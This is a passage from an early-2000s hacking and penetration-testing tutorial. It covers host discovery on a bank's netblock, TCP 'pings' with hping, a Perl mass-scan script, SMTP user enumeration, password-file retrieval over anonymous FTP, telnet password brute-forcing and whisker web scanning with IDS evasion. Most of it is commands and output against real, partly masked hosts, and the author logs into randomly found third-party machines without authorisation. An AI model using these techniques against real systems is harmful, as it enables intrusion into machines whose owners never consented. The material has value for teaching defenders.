120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2-a.citicorp.com
121.195.193.192.IN-ADDR.ARPA domain name pointer global121.citicorp.com
122.195.193.192.IN-ADDR.ARPA domain name pointer global122.citicorp.com
123.195.193.192.IN-ADDR.ARPA domain name pointer global123.citicorp.com
124.195.193.192.IN-ADDR.ARPA domain name pointer global124.citicorp.com
125.195.193.192.IN-ADDR.ARPA domain name pointer global125.citicorp.com
132.195.193.192.IN-ADDR.ARPA domain name pointer ld1-www.citicorp.com
140.195.193.192.IN-ADDR.ARPA domain name pointer mango1.citicorp.com
141.195.193.192.IN-ADDR.ARPA domain name pointer mango2.citicorp.com
150.195.193.192.IN-ADDR.ARPA domain name pointer fw-a-pri.ems.citicorp.com
```

Choosing which ports to scan for can be a tricky business. The best way is trying to choose ports that you think might generate a response. Looking at the reverse (or forward) DNS entries sometimes gives one a clue as to which ports to test for. Looking at the hosts reverse entries I am choosing my ports to be 80 (HTTP), port 443 (HTTPS) and port 264 (I hope the *fw-a-pri* is a FW1 with management port 264 open).The actual command issued looks like this:

```
#nmap -sS -P0 -Tpolite --randomize_hosts -
D20x.195.1x0.5x,19x.3x.90.1x8,x04.x2.x53.18 192.193.195.120-150 -p 80,264,443
```

Let us have a quick look at the command. *-sS* means we are doing a half-open SYN scan, *-P0* mean don't stop if you can't ping the host (*nmap* only scans pingable hosts by default, and we know that these cannot be pinged), *-p 80,264,443* means only look at ports 80,264 and 443. Note - you have to be root to do *SYN* scanning. The output looks like this (somewhat manipulated to save the rain forest):

```
Interesting ports on global121.citicorp.com (192.193.195.121):
[same on 121, .122, .126, .128, .133, .134, .143, .148] sample A
Port State Service
80/tcp filtered http
264/tcp filtered bgmp
443/tcp filtered https
Interesting ports on (192.193.195.147):
[same on .131, .136, .141., .150] sample B
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
264/tcp filtered bgmp
Interesting ports on global120.citicorp.com (192.193.195.120):
[same on .132, .123] sample C
Port State Service
80/tcp open http
264/tcp filtered bgmp
443/tcp open https
```

What can be deduced from the output? First of all this - hosts in *sample A* is filtered on all three ports. This does not mean that the hosts are not alive - it simply means that we do not know. Hosts in *sample B* is alive - we are 100% sure of this - although port 264 is filtered, these hosts answered that they are not listening on ports 80 or 443 (state "closed"). *Sample C* is the more interesting of the lot - both machines in *sample C* is listening on ports 80 and 443. It is most likely that they are running some form of (HTTPS-enabled) webserver.

From this scan we also see that IP numbers that does not have reverse DNS entries are not necessarily down, and visa versa. It would thus make no sense to only scan hosts with reverse entries (sometimes companies would do this - why no one would know). We also see that our scan on port 264 was unsuccessful in all cases (bummer!). From this part of netblock we can thus compile a list of hosts that we know is alive:

```
fw-a-pri.ems.citicorp.com (192.193.195.150)
```

```
192.193.195.127
mango2.citicorp.com (192.193.195.141)
global123.citicorp.com (192.193.195.123)
192.193.195.131
ld1-www.citicorp.com (192.193.195.132)
global120.citicorp.com (192.193.195.120)
192.193.195.136
(and possibly others - the scan was prematurely ended because we got the needed
output)
```

The worth of mapping the network carefully now pays off. We know that the 192.193 network is not routed to the same place. This means we can have a "alive" run against many parts of the 192.193 network without raising the alarm - parts of the network (class Cs) are protected (or not protected) by different firewalls/routers, and changes are slim that these different firewalls are logging to a common place.

Method2 (against stateless Firewalls)

What is the difference between stateful and stateless firewalls really? Well to understand the difference, you got to understand how a TCP connection looks like: the client sends a TCP packet with the SYN flag set, the server responds with a TCP packet with the *SYN* and the *ACKL* flags set. Thereafter the server and the client send *TCP* packets with the *ACK* flag set. To ensure two-way communication, stateless firewalls usually have a rule (the very last rule) that states that "established" connections are allowed; packets with the *ACK* flag set. How does this help us? Well, if I send a packet to a server with only the *ACK* flag set, the server will respond with a RST (reset) flag. This is due to the fact that the server does not know why I am sending a packet with only the ACK flag set (in other words it says: "hey! We haven't performed a 3 way handshake – bugger off"). Thus, if the machine is alive we WILL get a response – a RST packet.

How do we do it? Simple – there a nifty tool called *hping* that does this (and a lot more). Let us see how. Lets send a packet with only the ACK flag set- *hping* will detect if anything comes back. We run *hping* against a machine that sits behind a stateless firewall: (first we ping it to show you what happens)

```
# ping -c 3 196.35.xxx.12
PING 196.35.xxx.12 (196.35.xxx.12): 56 data bytes
--- 196.35.xxx.12 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss
```

Now *hping*:

```
# hping 196.35.xxx.12 -c 3 -A
HPING 196.35.xxx.12 (ep0 196.35.xxx.12): A set, 40 headers + 0 data bytes
46 bytes from 196.35.xxx.12: flags=R seq=0 ttl=115 id=20664 win=0 rtt=2088.2 ms
46 bytes from 196.35.xxx.12: flags=R seq=1 ttl=115 id=20665 win=0 rtt=2180.1 ms
46 bytes from 196.35.xxx.12: flags=R seq=2 ttl=115 id=20666 win=0 rtt=2130.1 ms

--- 196.35.xxx.12 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 2088.2/2132.8/2180.1 ms
```

Although the machine does not respond to ICMP ping packets, it responds with a *RST* flag if we send an *ACK* flag. So – there we go – a *real* TCP ping. How do we *hping* a lot of hosts? Here's a quick & dirty PERL script that will do it for you:

```
#!/usr/bin/perl
# Usage: perl hpings startip-endip 'parameters_to_hping'
# eg. hpings 160.124.19.0-160.124.19.10 '-A -c 2'
$|=1;
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
```

```
@ip2=split(/\./,@een[$#een]);
for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) {
for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) {
for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) {
for ($d=@ip1[3]; $d<1+@ip2[3]; $d++) {
print "$a.$b.$c.$d : ";
system "hping $a.$b.$c.$d @ARGV[1]";
}}}}
```

Summary

The idea in this chapter is to know which machines are "alive". It is of no use attacking a dead machine. There are several techniques to "hide" hosts. Hosts on unrouted/experimental networks cannot be discovered directly. There are ways to determine if a host is "alive". The simplest way is to *ping* it. If ICMP is blocked this will not work - then a *TCP ping* should be considered. One should be really careful how an "alive-scan" is executed as it can raise alarms. The tool *nmap* can be used very effectively in archiving this.

Before we go on

The next step would be to look for what I call "easy money". Before we can go into the details of this, there are some points to understand. There are some major differences between auditing a network and hacking into a network. Let us look at the analogy of a house. On the one hand you have the true blue blood burglar - the objective is getting into the house with whatever means possible. The burglar looks for the easiest and safest way to get into the house and he does not care about all the other means. On the other hand the security officer - it is his job to tell the client of every single little hole in the house. The difference between the security officer and the burglar is that when the security officer finds the front door wide open he notes it, and looks for other problems, whereas the burglar find the front door open and walks straight in, ignoring the other holes. In the cyber world it works the same. So, hiring a hacker (in the criminal sense of the world) to audit a system is a bit worrisome. The hacker will surely help you to find a weakness in your defense, but the idea of an IT security audit is not this - the idea is to find all the holes and fix them. Once you and your security advisor is confident that all holes are closed you might want to hire a hacker (or penetration specialist) to try to penetrate the network. The bottom line - doing penetration testing and doing a comprehensive security assessment of a network is not nearly the same thing.

This document had come to the point where I have to decide which route we are going to follow - the view of the hacker or the view of the IT security assessment officer. Choosing either one of the options I cannot continue with Citibank as an example unless I want to land in potentially serious trouble. The rest of the document - with the focus on either hacking or assessing will thus be looking at actual client networks - networks we every right to penetrate. The techniques can be implemented at Citibank as well - in the exact same way, but I simply cannot do it right here and now as Citibank is not my client (unfortunately).

Chapter 4 : Loading the weapons

At this stage we know where the target is located, and we have a good idea of the target's status (alive or dead). From DNS information we can get an idea of the importance of the target. The next step would be to find information that would help us choosing the correct weapons. It's no use bringing a knife to a gunfight - on the other hand it just stupid to nuke a whole city in order to execute one person. We want to be in a position to know exactly which weapons to load. The chapter examines this situation by looking at two examples - both from a hacker's viewpoint.

General scanners vs. custom tools

Why? Why not use a vulnerability scanner that checks for 1000 vulnerabilities on a host, and just see what it comes up with? Well - it's tasteless, it consumes bandwidth, CPU power, lots of time, and most important, it will light up any IDS (or semi-alive sysadmin) like a Christmas tree. Furthermore, the general vulnerability scanners are not always that effective and up to date (there are exceptions of course). Custom-made scanners is tailored for the occasion, they are streamlined, and they are not as noisy as general scanners. Imagine taking an "all-terrain 4x4" to the surface of Mars...

How to decide to load the weapons? Most scanners look for vulnerabilities in services. A service is normally bound to a specific port. Thus, finding what ports are open on a host will tell us what services it runs, which in turn will tell us how to configure our scanners. Many scanners have a portscanning utility built-in, and claim to scan only "discovered" services. Most of the time this works well - but you will find that it have limitations. There is no substitute for plain common sense.

The hacker's view on it (quick kill example)

(Let us see - if I can obtain root/administrator access on a host, why would I bother to see the Ethernet card's stats, or be able to write a message to all the users? No - if I know that there is a possibility to obtain super user status I will go for it right away. My point is this - I would only port scan a host on ports that is servicing services that can easily lead to a compromise. And mind you - skip the vulnerability scanners. Grab the banners and versions and see if the host is running vulnerable versions of the service. If it is - go directly for the kill.

OK, let us take it step by step, with examples etc. Let us assume the host that I am interested in is *196.3x.2x.7x*. From the previous section I know exactly where it is located and that it is active. For various reasons I want to get a shell on this host. First of all I am interested in what O/S it is running. Maybe not the exact version - I just want to know if the host is running Unix or Windows. And remember, I don't want to set off all the bells and whistles along the way. Which are the most common ports that are open on hosts in the Internet? I would say port 25 (SMTP) and port 80 (HTTP). I have a good chance of knowing the O/S by telnetting to either of these ports, and as such I telnet to port 25:

```
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to 196.3x.2x.7x.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:20:28 +0100
(BST)
```

I reply with the QUIT command to terminate the connection. As we can all see, the host replied with a Sendmail banner (a rather old Sendmail as well). Common sense tells us that this host is a UNIX system.

Keeping in mind that I am only trying to get a shell on the host, I proceed to the next logical step - telnetting to port 23 (telnet). Maybe the port is wrapped. Maybe it is firewalled. Maybe I should just find out:

```
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login:
```

It not wrapped or firewalled. The host does not look at though it is firewalled at all (it could be...we don't know, and we don't care - we will find out soon enough). We go directly to the next step - see if the finger port is open:

```
# finger @196.3x.2x.7x
[196.3x.2x.7x]
finger: read: Connection refused
```

Hmm...the host's finger service is not filtered, but then again - it's not running finger. How do we get a username and a password? On UNIX systems where are several ways to find out if a user exists - we would have to guess a password. If the Sendmail were not configured to do so it would allow us to issue a VRFY and EXPN command. These commands will verify if a user exists and expand the username if it is pointing to other email address respectively. Let us use some common usernames and see if they exist:

```
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:34:01 +0100
(BST)
vrfy test
250 user <test@xxx.xx.co.za>
vrfy user
550 user... User unknown
vrfy u46b00
550 u46b00... User unknown
vrfy root
250 <root@xxx.xx.co.za>
expn root
250 <root@xxx.xx.co.za>
vrfy guest
550 guest... User unknown
vrfy mail
550 mail... User unknown
expn webmaster
550 webmaster... User unknown
expn postmaster
250 <root@xxx.xx.co.za>
```

Let us see what happened here. First of all we see that EXPN and VRFY commands are allowed. The username "*test*" exists. The username "*user*" and "*u46b00*" does not exist. The username "*root*" exists. The username "*root*" does not have any aliases, but the username "*postmaster*" is feeding the "*root*" account.

So - the username "*test*" exists. The username test is very common is systems that are not kept in a good condition. No points for guessing what password we are going to use with user "*test*":

```
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
Connection closed by foreign host.
```

Hmm...interesting. The username "*test*" does not have password "*test*", "*test1*" or "*test01*". Now - we might try another few passwords, but this is

really not the idea. How about just getting a list of usernames on the system? Maybe that would give us a better idea of username that have weak passwords? Let us see:

```
# ftp 196.3x.2x.7x
Connected to 196.3x.2x.7x.
220 u46b00 FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.
Name (196.3x.2x.7x:roelof): anonymous
331 Guest login ok, send indent as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> CD /etc
250 CWD command successful.
ftp> get passed
local: passwd remote: passwd
227 Entering Passive Mode (196,3x,2x,7x,8,186)
150 Opening BINARY mode data connection for passed (7695 bytes).
100% |***********************************************| 7695 00:00 ETA
226 Transfer complete.
7695 bytes received in 2.06 seconds (3.64 KB/s)
ftp> exit
221 Goodbye.
~/perl/telnet/brute more passwd
root:*:0:3::/var/sam:/usr/bin/false
root:*:0:3::/var/sam:/usr/bin/false
daemon:*:1:5::/var/sam:/usr/bin/false
bin:*:2:2::/var/sam:/usr/bin/false
sys:*:3:3::/var/sam:/usr/bin/false
adm:*:4:4::/var/sam:/usr/bin/false
uucp:*:5:3::/var/sam:/usr/bin/false
lp:*:9:7::/var/sam:/usr/bin/false
nuucp:*:11:11::/var/sam:/usr/bin/false
hpdb:*:27:1::/var/sam:/usr/bin/false
----cut----
```

The problems with these unkept "old" UNIX hosts are that they keep the "shadow" password file in the /etc directory of the anonymous FTP user. While the file does not contain any passwords, it gives us a very good idea of which users may have weak passwords. We inspect the shadow password file and focus on the following entries:

```
pro:*:100:100::/var/sam:/usr/bin/false
mis2000:*:208:1000::/var/sam:/usr/bin/false
lab:*:369:2000::/var/sam:/usr/bin/false
oracle:*:101:100::/var/sam:/usr/bin/false
doggy:*:541:2000::/var/sam:/usr/bin/false
f399:*:611:2000::/var/sam:/usr/bin/false
```

These users have suspect names - they don't fit the description of "normal" usernames - these are typically usersnames that are used by more than one person and these normally have weak passwords. Starting from the top, we hit the jackpot with the second user "*mis2000*":

```
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: mis2000
Please wait...checking for disk quotas
What is your terminal type?
```

No password...at all. Now, I hear all the script kiddies going - yeah, we are hackers, we also could have done that - and the more seasoned hackers saying - sheet this is not hacking - it is clubbing baby seals. And it is. But this is not the point - the point is the method used. It shows that the hacker goes directly for the kill - in a situation like the one described above it make not sense portscanning the host first - everything you need is right there.

Hacker's view (no kill at all)

Let us then look at another example: www.sensepost.com. Our website (it is hosted offsite BTW). And let us go through the same steps, assuming we know nothing about the host.

We telnet to port 25 to find it filtered. The port is not wrapped - wrappers are very characteristic of UNIX hosts. [Telling if a services is can be determined as follows:

```
# telnet cube.co.za
Trying 196.38.115.250...
Connected to cube.co.za.
Escape character is '^]'.
Connection closed by foreign host.
```

We see that we can establish a complete connection, but that the connection is closed immediately. Thus, the service is wrapped (TCP wrappers made famous by Venema Wietse). Wrappers allows the sysadmin to decide what source IP address(es) are allowed to connect to the service. It is interesting to note that wrapper might be set up to work with the source IP, or with the DNS name of the source. In some situations one can determine if the server uses IP numbers or DNS names - if the connection is not closed immediately (say it takes 2-10 seconds) it is probably using DNS names. Another way to determine if the wrapper is using DNS names or IP numbers is to connect to it with a IP number that does not have a reverse resolvable name. The server will attempt to reverse resolve your IP address - this might take a while - it is this delay that you will be able to see when connecting to the host. (The interesting part of this is that if the wrapper uses DNS one can get past it if one has complete control over both the mechanisms that controls both the forward and reverse DNS entries)]

Getting back to our website. Port 25 is filtered. How about port 80? (I hope not - else our website is down!) Connecting to port 80 reveals that we are dealing with a UNIX platform:

```
# telnet www.sensepost.com 80
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
GET / HTTP/1.0<cr>
<cr>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /main.html not supported.<P>
Invalid method in request get /<P>
<HR>
<ADDRESS>Apache/1.3.6 Server at www.sdn.co.za Port 80</ADDRESS>
</BODY></HTML>
Connection closed by foreign host.
```

Issuing the "GET / HTTP/1.0” command we see a response that includes the text "*Apache/1.3.6*", a famous UNIX webserver (I understand that Apache is now also available for Windows). We know that port 25 is firewalled. This means that the host is probably properly firewalled. Just to make sure we telnet to port 23 (telnet) and our suspicion is confirmed - the port is filtered.

Now what? The idea is now to start a portscan on the host. As mentioned before we don't want to do a complete scan on the server - we are just interested in ports that is servicing services that we know are exploitable or that might turn up interesting information in a vulnerability scanner. Knowing the O/S could also helps a lot. Thus, a command as follows is issued:

```
# nmap -O -sS -P0 216.0.48.55 -p
21,22,53,69,98,110,443,1080,2049,3128,8080,1433,6667
```

We don't want to look at ports 23 and 80 as we know their status. All the other ports might service exploitable services. We want to see if there are any proxies running on the host (1080,3128 and 8080). Port 98 is Linux config port, 69 is TFTP and 1433 is MSQL (maybe it is a MS box after all). The output looks like this:

```
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp filtered ssh
69/tcp filtered tftp
80/tcp open http
98/tcp filtered linuxconf
110/tcp filtered pop-3
1080/tcp filtered socks
1433/tcp filtered ms-sql-s
2049/tcp filtered nfsd
3128/tcp filtered squid-http
6667/tcp filtered irc
8080/tcp filtered http-proxy
TCP Sequence Prediction: Class=random positive increments
Difficulty=49224 (Worthy challenge)
Remote OS guesses: Solaris 2.6 - 2.7, Solaris 7
```

Checking the version of the services on the only two open ports (21 and 80) we find that this is more of a challenge. Trying common usernames and passwords at the FTP service also does not prove to work (including anonymous - as in the previous case).

Maybe we need to do a complete scan on the host - maybe there is an unprotected root shell waiting on a high port? How about UDP? Maybe putting on our security assessment hat would prove necessary? Maybe we need to look more in depth? Now, I am not saying that a hacker will not do this - I am only going into "assessment" mode, as this is where an assessment will start anyway.

A complete scan of the host is the place to start. We proceed to do this:

```
nmap -sS -O -P0 www.sensepost.com
The results looks as follows:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 1518 ports scanned but not shown below are in state: filtered)
Port State Service
21/tcp open ftp
53/tcp closed domain
80/tcp open http
443/tcp closed https
4321/tcp open rwhois
TCP Sequence Prediction: Class=random positive increments
Difficulty=15377 (Worthy challenge)
Remote operating system guess: Solaris 7
```

The only other open port is 4321. From the service file it seems that port 4321 is used for *rwhois* (remote WHOIS queries). But never trust the service file - 4321 sounds a bit suspect, it could be a backdoor put there by a previous administrator. We check it out manually:

```
# telnet www.sensepost.com 4321
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
%rwhois V-1.5:003fff:00 rwhois.sdn.co.za (by Network Solutions, Inc. V-1.5.5)
```

It checks out pretty OK. The host is running an FTP and HTTP daemon. Are they using safe versions of these? Is the HTTP server configured properly?

In the next section we look at using tools developed by other people and companies - these tools will help us to uncover any holes in the defense of a host.

Chapter 5: Fire!

Depending on the outcome of the portscan, we can now decide what tools to use against the server. Let us first look at some typical ports that one might find open on a server, and list the tool of preference to use against the service running behind the open port. In many cases one has to investigate the service manually - the UNIX/Microsoft commands will be listed as well. Let us begin with the most common ports first - we will list the steps and tools we are using. The idea is not to build a database of tools or techniques, but rather discuss each service, and the issues with each service.

Telnet (23 TCP)

The most prized port to find open could be the *telnet* port. An open telnet port usually denotes an UNIX host or a router. Sometimes an AS400 or mainframe could be found. Why are we excited about an open telnet port? The reason is twofold. First - the host may contain sensitive data in directories that are not properly protected - see the section on "finding the goods". The second reason is that UNIX hosts are the ideal "relaunch" platform. What I mean by this is that your should be able to upload your entire "toolbox" to the server, that you should be able to attack hosts that are usually firewalled or not routed from this server. Even if you are not able to upload a toolbox you should be able to telnet to other (internal) servers from a router or a UNIX server. How do we go about getting a shell (or Router prompt)? Usually a username and a password are required. In some cases only a username is needed, and in some cases only a password is needed for Cisco routers. The bottom line is that we need two or less "things" - be that a username or a password. How do we find these two things? There are some techniques to find a username (many of these techniques were used in our previous penetration testing example, so I will not show input/output):

1. Some routers or UNIX hosts will tell you when you have entered an incorrect username - even if you don't provide a password.
2. Telnet to port 25 and try to issue *EXPN* and *VRFY* commands. Try to expand (*EXPN*) list-like aliases such as abuse, info, list, all etc. In many cases these point to valid usernames.
3. Try to *finger* a user on the host. Later in this document we will look at finger techniques :)
4. Try anonymous FTP and get the password file in */etc*. Although it should be shadowed, it may reveal valid usernames
5. Try anonymous FTP and do a *cd ~user_to_test_for* - see the section on FTP.
6. Use default usernames. A nice list of default usernames and passwords can be found at www.nerdnet.com/security/index.php
7. Try common usernames such as "test", "demo", "test01" etc.
8. Use the hostname or a derivative of the hostname as username.
9. See if the host is running a webserver and have a look at the website - you might learn more than you expect - look at the "*Contact*" section and see if you can't mine some usernames. Looking at the website may also help you to guess common usernames.

Ok, so now you have a rather long list of possible usernames. The idea would be to verify that these users exist. It would be a bonus if you could verify that the users exist. If we cannot verify that the user is valid we have to test it via the telnet protocol. We still need a password. Unfortunately there is no easy way to verify a password - you have to test this manually.

Manually?! I don't think so! BindView Corporation's RAZOR security team provided the world with *VLAD* (get it here http://razor.bindview.com/tools/vlad/), a tool that packaged some very useful tools. One of these tools has the ability to test usernames and passwords for (amongst other things) telnet. (The tool does not have support for password only telnet daemons - such as some routers, but the author tells me they are looking into it). Without getting too involved in this tool, lets see how our technique works against an arbitrary host (to find a totally arbitrary host we use *nmap* to find a random host with open port 23: *nmap -sT -iR -p 23*) *Nmap* finds the site 216.xxx.162.79 open to telnet:

```
/tmp# telnet 216.xxx.162.79
Trying 216.xxx.162.79...
Connected to 216.xxx.162.79.
Escape character is '^]'.
SunOS 5.6
xxx.xxx.com
Welcome to xxxxxxxxxxxxx
force Running Solaris 2.6.0
login:
```

We telnet to port 25, and find that there are no mail daemon running - no *EXPN* or *VFRY* possibilities. It seems that there are no anonymous FTP - no getting the password file. The finger daemon is also not running. Let us leave this host alone - we don't want to offend XXX - they have implemented some measures to keep people out.

Another IP that *nmap* gives us is 216.xxx.140.132. This host (SCO UNIX) is running *Sendmail* and *finger*. When we do a finger command, we find many usernames. To get these into a single file we issue the following command:

```
finger @216.xxx.140.132 | awk '{print $1}' | uniq > usernames
```

The next step would be to see if can use these usernames with common passwords. We use *VLAD*'s brute force telnet module as follows:

```
perl pwscan.pl -v -T 216.xxx.140.132,
```

with the usernames in the file account.db. The output of the *pwscan.pl* PERL script looks like this:

```
/ports/vlad-0.7.1# perl pwscan.pl -v -T 216.xxx.140.132
RAZOR password scanner - version: $Id: pwscan.pl,v 1.17 2000/07/24 17:14:43
loveless Exp $
Checking 216.xxx.140.132
telnet check. User:angela, pass:angela
telnet check. User:angela, pass:
telnet check. User:angela, pass:12345
telnet check. User:angela, pass:abcdef
telnet check. User:angela, pass:god
telnet check. User:angela, pass:guess
telnet check. User:angela, pass:none
telnet check. User:angela, pass:password
telnet check. User:angela, pass:qwerty
telnet check. User:angela, pass:secret
telnet check. User:angela, pass:sex
telnet check. User:angela, pass:test
---cut---
```

Running through all usernames and common passwords, we find ..nothing. No username could be brute forced. Now what? The next step is to find more usernames. We attempt to the following:

```
finger test@216.xxx.140.132
```

The output looks like this:

```
/tmp# finger test@216.xxx.140.132
[216.xxx.140.132]
Login name: test In real life: TEST ACCOUNT
Directory: /home/test Shell: /OpenServer/bin/sh
Never logged in.
No unread mail
No Plan.
Login name: monotest In real life: Monorail Test
Directory: /home/monotest Shell: /OpenServer/bin/sh
Last login Fri Aug 4 12:10 on pts038 from www.multiuser.cH
No unread mail
No Plan.
```

This looks promising. The "*test*" user does not seem to have a weak password - we test it manually. The "*monotest*" user however delivers...logging in with username "*monotest*", and password "*monotest*" we gain access to the UNIX host:

```
/tmp# telnet 216.xxx.140.132
Trying 216.xxx.140.132...
Connected to xxxx.com.
Escape character is '^]'.

SCO UnixWare 7.1.0 (xxxx) (pts/42)
login: monotest
Password:
UnixWare 7.1.0
musapp
Copyright (c) 1976-1998 The Santa Cruz Operation, Inc. and its suppliers.
All Rights Reserved.
RESTRICTED RIGHTS LEGEND:
When licensed to a U.S., State, or Local Government,
all Software produced by SCO is commercial computer software
as defined in FAR 12.212, and has been developed exclusively
at private expense. All technical data, or SCO commercial
computer software/documentation is subject to the provisions
of FAR 12.211 - "Technical Data", and FAR 12.212 - "Computer
Software" respectively, or clauses providing SCO equivalent
protections in DFARS or other agency specific regulations.
Manufacturer: The Santa Cruz Operation, Inc., 400 Encinal
Street, Santa Cruz, CA 95060.
Last login: Fri Aug 4 12:10:15 2000 on pts038
NOTICE: Unregistered SCO software is installed on your system. Please
refer to SCO's online help for registration information.
$ exit
```

The interesting thing about this is that the finger daemon returns all usernames that contains the word "*test*". In the same way we can finger users such as "*admin*", and "*user*", and get interesting results.

Most machines that are running telnet, and has more than a certain amount of users (mostly multi-user machines) almost always hosts users with weak or no passwords - the idea is just to find them. From here it is fairly certain that you will find a local SCO exploit that will elevate you to root.

HTTP (80 TCP)

The section on webservers was adapted for my SummerCon2001 speech. Is basically the same original chapter – I just updated some stuff. You'll see that it contains updated parts of Chapter 6 as well.

Webservers are interesting beings - they are the most common service on the Internet - there are many of these running around. The two most common webservers are Microsoft IIS and Apache. They run respectively on Windows and UNIX (although Apache is available from Windows as well)...but you knew this right? In most cases (except for one) one generally cannot get full control over a webserver - it is thus, in terms of control, a less "vulnerable" service as telnet. The problem nowadays with webservers are that they serve a whole lot of data- this is, a lot of them contains data

that is just as sensitive as the data that you will find on a corporate internal fileserver. The attacks to webservers can be categorized- attacks that returns data that the server should not be returning (e.g. Abusing your rights on the server), executing commands on the server (even taking control of the server) and stopping the server (denial of service attacks). There are many tools out there that will scan a server for exploitable CGIs (these includes PERL scripts, DLLs, EXEs, PHPs and others) as well as looking for interesting directories or files. The tool we prefer (and we think a lot of people will agree) is something called whisker (by Rain Forrest Puppy, get it here http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface=1). The latest version of whisker is version 1.4. Whisker is a PERL script that does intelligent scanning of webservers. We don't want to go into too much detail of the inner workings of the scanner - there is plenty of documentation on RFP's site - the bottom line is that whisker is highly configurable, and very effective. One of the more useful features of whisker is that it uses a vulnerability "database" - thus the engine uses "plugins", and the plugins can be updated. The security community adds new "signatures" every now and again to the database - this keeps the scanner current with all the new vulnerabilities that are discovered.

How do we use whisker? Give me a practical example! OK - let us assume that we want to scan a webserver somewhere. Lets begin with straightforward IIS webserver -no authentication, no SSL, no special cleanup, and no IDS - just static pages. We start whisker as follows:

```
perl whisker.pl -h 196.xxx.183.2
```

This host happens to be the primary MX record for the domain xxx.co.za. If we can control this host, we can probably also get some interesting data. The server was chosen because it does not facilitates virtual websites, and is a stock standard IIS version 4.0 server - with no additional data. Its prima function is that of mail serving - not serving webpages. The output looks like this:

```
-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net --

= - = - = - = - = - =
= Host: 196.xxx.183.2
= Server: Microsoft-IIS/4.0

+ 200 OK: GET /msadc/Samples/selector/showcode.asp
+ 200 OK: GET /msadc/samples/adctest.asp
+ 200 OK: GET /iisadmpwd/aexp4b.htr
+ 200 OK: HEAD /msadc/msadcs.dll
+ 200 OK: HEAD /_vti_inf.html
+ 200 OK: HEAD /_vti_bin/shtml.dll
+ 200 OK: HEAD /_vti_bin/shtml.exe
```

We can see that this host has a few vulnerabilities - maybe the most serious of them is that it hosts "*msadcs.DLL*". Abusing this DLL one can gain complete control of the server. The "*Showcode.asp*" ASP can be used to view any file on the same drive as the webroot, and the "*aexp4b*.htr" can be used to do brute force password attacks on the server. The scope of paper is not to describe every one of the 300 odd vulnerabilities that *whisker* tests for. We will rather concentrate on different scan types, bypassing IDS systems, connecting to SSL-enabled servers, and brute forcing authentication systems.

Lets look at some of the parameters that can be passed to *whisker*, and how we would use them (at this stage of the discussion the reader should REALLY try to read RFP's *whisker* documentation - get it here: http://www.wiretrip.net/rfp/bins/whisker/whisker.txt. We will only look at the common switches). One of the switches that is very useful is the "-V" switch - his tells *whisker* that the target is a virtually hosted site, and it will thus add the "host: XXX" entry in the HTTP header. But - how do we know if a site is virtually hosted? Let us assume that I want to find out if the site *www.sensepost.com* is virtually hosted. The forward entry for *www.sensepost.com* is 216.0.48.55. When I open a browser and enter the IP address 216.0.48.55 I get to a totally different website. The webserver running on 216.0.48.55 thus looks at the HTTP header and decides what page

should be served - a virtually hosted site. Should I test for URLs (say brute forcing URLs) with *whisker*, we would thus add the -V switch, and specify the DNS names - not the IP number. If we should spec the IP number we will not be looking at the website www.sensepost.com, but at the underlying webserver - which might not be a bad idea, but maybe not the true intention. Hey - did I mention to read the *whisker* manual? Another switch that is used frequently is the -I switch. The -I switch fires up *whisker's* stealth mode - the IDS bypassing module. How does an IDS work - it looks for patterns or signatures. If we can disguise our patterns the IDS may not detect it. The -I switches disguise *whisker's* attacks in many ways - making it hard for an IDS to find us.

HTTPS (SSL2) (443 TCP)

How do we connect to SSL sites? Here we need something that can understand SSL – a proxy that will "convert" my normal HTTP into HTTPS. *SSLproxy* is just such a program - it's available for FreeBSD and Linux as a package and RPM respectively. Let us see how we would run *whisker* against a SSL site https://xxx.co.za. The procedure looks like this - we will discuss it step by step afterwards:

```
# host xxx.co.za
xxx.co.za has address 168.xxx.240.30
/# sslproxy
No remote address given

usage:  sslproxy [-L <local address>] [-l <local port>]
        [-R <remote address>] [-r <remote port>] [-s] [-n] [-c <certfile>]
        [-k <keyfile>] [-v <verify file>] [-V <verify dir>] [-C] [-P]
sslproxy -h     prints short help
valid options are:
-L <local address>  IP address where proxy will bind (default=0.0.0.0)
